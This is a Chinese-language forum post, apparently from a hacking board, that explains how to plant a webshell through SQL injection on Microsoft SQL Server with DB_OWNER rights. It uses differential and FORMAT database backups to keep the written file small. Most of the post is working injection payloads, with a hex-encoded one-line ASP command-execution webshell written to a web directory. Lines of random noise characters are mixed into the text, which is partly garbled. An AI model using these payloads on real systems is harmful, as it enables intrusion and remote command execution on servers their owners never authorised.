DB_OWNER权限得到webshell的改进方法

admin

减少备份文件大小，得到可执行的webshell成功率提高不少
9 @2 ?# K% Y$ q( [/ L
, x* r1 c. I' K0 \2 E$ B6 T" ]一利用差异备份
8 `; o2 E" k: a) k& M' b, h: ^加一个参数WITH DIFFERENTIAL

declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
3 K6 d% r( N  C4 E+ Mcreate table [dbo].[xiaolu] ([cmd] [image]);
' t; R/ N8 }/ d7 N4 [  G& U7 [insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
+ ~0 m/ z& v/ g4 Q. q$ J5 y8 s3 pdeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL
6 q5 t6 G! s0 ^# ]* [- }* e
二利用完全FORMAT
加一个参数WITH FROMAT
有些页面对数据库要执行几次，而备份又默认是每次都以追加的方式，如果一个注入点对数据库有几次操作，而备份的文件就 几倍的增加，所以
' z- U( Q, h( J, Y; i: z
) F. y8 S% v) L% E# `2 U% R( `declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
create table [dbo].[xiaolu] ([cmd] [image]); insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
/ r7 P+ r4 y/ D% r7 |, t% {declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH FORMAT
& h: y0 s# b  ?3 O* b; \
3 Z. l* y1 m  q' R! \" m总的来说就是那么简单几句,下面以备份数据库model为例子
# m0 @9 o7 ~/ A# L/ x0 l
- J) S7 e5 S. j, B0 Mid=1;use model create table cmd(str image);insert into cmd(str) values (”)

+ O2 P& J3 \3 cid=1;backup database model to disk=’你的路径‘ with differential,format;–
7 B0 P- `: g  ]- Q2 T3 q